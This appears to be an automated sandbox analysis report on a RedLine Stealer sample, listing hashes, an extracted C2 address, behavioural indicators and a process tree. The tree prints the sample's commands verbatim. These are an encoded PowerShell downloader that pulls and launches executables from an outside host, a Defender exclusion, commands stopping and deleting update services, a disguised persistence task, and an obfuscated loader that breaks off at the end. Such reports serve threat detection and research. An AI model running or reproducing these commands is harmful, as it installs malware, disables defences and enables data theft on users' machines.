redline | c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe

Analysis

max time kernel
32s
max time network
89s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
30/01/2023, 19:17

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General

Target
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Size 360KB
Sample230130-xzl2psca67
SHA256 c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe
MD5 9c0c75bb31dfa46b2c91c12693bf45dd
SHA1 b405694fbedc3ed57f486a0bd892fb48b2917d49
SHA512 cc666cfd32f070b859bdfcb5391fe160a7456c00426e806736a459044205558a579d45092eedaf31a90a90ccd0957948bccce248bbc5cdcef7f5885f44e37b44
SSDEEP 6144:FUzcknZ/qA5koqdrF7ENQ8zxT8iz5ZhHS7gVFy6d3bBum+WOmekGAOIA40e8aHc:FUwg/qA5Zz28zxT8yZZSUVFV14kG+0e2
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline 1 evasion infostealer

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/912-171-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 1968 created 2640	1968	SmartDefRun.exe	40
PID 1968 created 2640	1968	SmartDefRun.exe	40
PID 1968 created 2640	1968	SmartDefRun.exe	40
PID 1968 created 2640	1968	SmartDefRun.exe	40

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	4584	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 4 IoCs

pid	Process
1144	new2.exe
2948	C4Loader.exe
1968	SmartDefRun.exe
4368	SysApp.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1868 set thread context of 4040	1868	b405694fbedc3ed57f486a0bd892fb48b2917d49.exe	82
PID 1144 set thread context of 912	1144	new2.exe	92
PID 1968 set thread context of 4796	1968	SmartDefRun.exe	115

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3920	sc.exe
1236	sc.exe
1476	sc.exe
2644	sc.exe
2836	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
4888	1868	WerFault.exe	80
3708	1144	WerFault.exe	88

Modifies data under HKEY_USERS 42 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
4584	powershell.exe
4584	powershell.exe
4368	SysApp.exe
4368	SysApp.exe
4368	SysApp.exe
4368	SysApp.exe
4368	SysApp.exe
4368	SysApp.exe
4368	SysApp.exe
4368	SysApp.exe
4368	SysApp.exe
4368	SysApp.exe
1968	SmartDefRun.exe
1968	SmartDefRun.exe
400	powershell.exe
400	powershell.exe
1968	SmartDefRun.exe
1968	SmartDefRun.exe
1968	SmartDefRun.exe
1968	SmartDefRun.exe
3784	powershell.exe
3784	powershell.exe
1968	SmartDefRun.exe
1968	SmartDefRun.exe
4040	powershell.EXE
4040	powershell.EXE
620	powershell.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4584	powershell.exe
Token: SeDebugPrivilege	400	powershell.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeIncreaseQuotaPrivilege	3784	powershell.exe
Token: SeSecurityPrivilege	3784	powershell.exe
Token: SeTakeOwnershipPrivilege	3784	powershell.exe
Token: SeLoadDriverPrivilege	3784	powershell.exe
Token: SeSystemProfilePrivilege	3784	powershell.exe
Token: SeSystemtimePrivilege	3784	powershell.exe
Token: SeProfSingleProcessPrivilege	3784	powershell.exe
Token: SeIncBasePriorityPrivilege	3784	powershell.exe
Token: SeCreatePagefilePrivilege	3784	powershell.exe
Token: SeBackupPrivilege	3784	powershell.exe
Token: SeRestorePrivilege	3784	powershell.exe
Token: SeShutdownPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeSystemEnvironmentPrivilege	3784	powershell.exe
Token: SeRemoteShutdownPrivilege	3784	powershell.exe
Token: SeUndockPrivilege	3784	powershell.exe
Token: SeManageVolumePrivilege	3784	powershell.exe
Token: 33	3784	powershell.exe
Token: 34	3784	powershell.exe
Token: 35	3784	powershell.exe
Token: 36	3784	powershell.exe
Token: SeIncreaseQuotaPrivilege	3784	powershell.exe
Token: SeSecurityPrivilege	3784	powershell.exe
Token: SeTakeOwnershipPrivilege	3784	powershell.exe
Token: SeLoadDriverPrivilege	3784	powershell.exe
Token: SeSystemProfilePrivilege	3784	powershell.exe
Token: SeSystemtimePrivilege	3784	powershell.exe
Token: SeProfSingleProcessPrivilege	3784	powershell.exe
Token: SeIncBasePriorityPrivilege	3784	powershell.exe
Token: SeCreatePagefilePrivilege	3784	powershell.exe
Token: SeBackupPrivilege	3784	powershell.exe
Token: SeRestorePrivilege	3784	powershell.exe
Token: SeShutdownPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeSystemEnvironmentPrivilege	3784	powershell.exe
Token: SeRemoteShutdownPrivilege	3784	powershell.exe
Token: SeUndockPrivilege	3784	powershell.exe
Token: SeManageVolumePrivilege	3784	powershell.exe
Token: 33	3784	powershell.exe
Token: 34	3784	powershell.exe
Token: 35	3784	powershell.exe
Token: 36	3784	powershell.exe
Token: SeIncreaseQuotaPrivilege	3784	powershell.exe
Token: SeSecurityPrivilege	3784	powershell.exe
Token: SeTakeOwnershipPrivilege	3784	powershell.exe
Token: SeLoadDriverPrivilege	3784	powershell.exe
Token: SeSystemProfilePrivilege	3784	powershell.exe
Token: SeSystemtimePrivilege	3784	powershell.exe
Token: SeProfSingleProcessPrivilege	3784	powershell.exe
Token: SeIncBasePriorityPrivilege	3784	powershell.exe
Token: SeCreatePagefilePrivilege	3784	powershell.exe
Token: SeBackupPrivilege	3784	powershell.exe
Token: SeRestorePrivilege	3784	powershell.exe
Token: SeShutdownPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeSystemEnvironmentPrivilege	3784	powershell.exe
Token: SeRemoteShutdownPrivilege	3784	powershell.exe
Token: SeUndockPrivilege	3784	powershell.exe
Token: SeManageVolumePrivilege	3784	powershell.exe
Token: 33	3784	powershell.exe
Token: 34	3784	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 1868 wrote to memory of 4040	1868	b405694fbedc3ed57f486a0bd892fb48b2917d49.exe	82
PID 1868 wrote to memory of 4040	1868	b405694fbedc3ed57f486a0bd892fb48b2917d49.exe	82
PID 1868 wrote to memory of 4040	1868	b405694fbedc3ed57f486a0bd892fb48b2917d49.exe	82
PID 1868 wrote to memory of 4040	1868	b405694fbedc3ed57f486a0bd892fb48b2917d49.exe	82
PID 1868 wrote to memory of 4040	1868	b405694fbedc3ed57f486a0bd892fb48b2917d49.exe	82
PID 4040 wrote to memory of 4584	4040	vbc.exe	86
PID 4040 wrote to memory of 4584	4040	vbc.exe	86
PID 4040 wrote to memory of 4584	4040	vbc.exe	86
PID 4584 wrote to memory of 1144	4584	powershell.exe	88
PID 4584 wrote to memory of 1144	4584	powershell.exe	88
PID 4584 wrote to memory of 1144	4584	powershell.exe	88
PID 4584 wrote to memory of 2948	4584	powershell.exe	90
PID 4584 wrote to memory of 2948	4584	powershell.exe	90
PID 4584 wrote to memory of 2948	4584	powershell.exe	90
PID 4584 wrote to memory of 1968	4584	powershell.exe	93
PID 4584 wrote to memory of 1968	4584	powershell.exe	93
PID 1144 wrote to memory of 912	1144	new2.exe	92
PID 1144 wrote to memory of 912	1144	new2.exe	92
PID 1144 wrote to memory of 912	1144	new2.exe	92
PID 4584 wrote to memory of 4368	4584	powershell.exe	91
PID 4584 wrote to memory of 4368	4584	powershell.exe	91
PID 4584 wrote to memory of 4368	4584	powershell.exe	91
PID 1144 wrote to memory of 912	1144	new2.exe	92
PID 1144 wrote to memory of 912	1144	new2.exe	92
PID 3176 wrote to memory of 3920	3176	cmd.exe	104
PID 3176 wrote to memory of 3920	3176	cmd.exe	104
PID 3176 wrote to memory of 1236	3176	cmd.exe	105
PID 3176 wrote to memory of 1236	3176	cmd.exe	105
PID 3176 wrote to memory of 1476	3176	cmd.exe	106
PID 3176 wrote to memory of 1476	3176	cmd.exe	106
PID 3176 wrote to memory of 2644	3176	cmd.exe	107
PID 3176 wrote to memory of 2644	3176	cmd.exe	107
PID 3176 wrote to memory of 2836	3176	cmd.exe	108
PID 3176 wrote to memory of 2836	3176	cmd.exe	108
PID 3176 wrote to memory of 4576	3176	cmd.exe	109
PID 3176 wrote to memory of 4576	3176	cmd.exe	109
PID 3176 wrote to memory of 3168	3176	cmd.exe	110
PID 3176 wrote to memory of 3168	3176	cmd.exe	110
PID 3176 wrote to memory of 3356	3176	cmd.exe	111
PID 3176 wrote to memory of 3356	3176	cmd.exe	111
PID 3176 wrote to memory of 4568	3176	cmd.exe	112
PID 3176 wrote to memory of 4568	3176	cmd.exe	112
PID 3176 wrote to memory of 4004	3176	cmd.exe	113
PID 3176 wrote to memory of 4004	3176	cmd.exe	113
PID 1968 wrote to memory of 4796	1968	SmartDefRun.exe	115

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2640
- C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
  "C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4040
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4584
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1144
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        
        PID:912
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1144 -s 264
        6⤵
        Program crash
        
        PID:3708
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:2948
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4368
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1968
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 140
    3⤵
    - Program crash
    PID:4888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:400
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3176
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3920
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1236
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1476
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2644
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2836
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4576
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3168
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:3356
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4568
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3784
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:4796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1868 -ip 1868
1⤵
PID:4924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1144 -ip 1144
1⤵
PID:2288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:sYssYAlZZEwx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$pfEqZqxXYQgGPU,[Parameter(Position=1)][Type]$dPkYNryJNE)$EBhjPxPtFiH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+[Char](108)+''+[Char](101)+'ct'+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'yD'+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+'y'+''+'p'+'e','C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+[Char]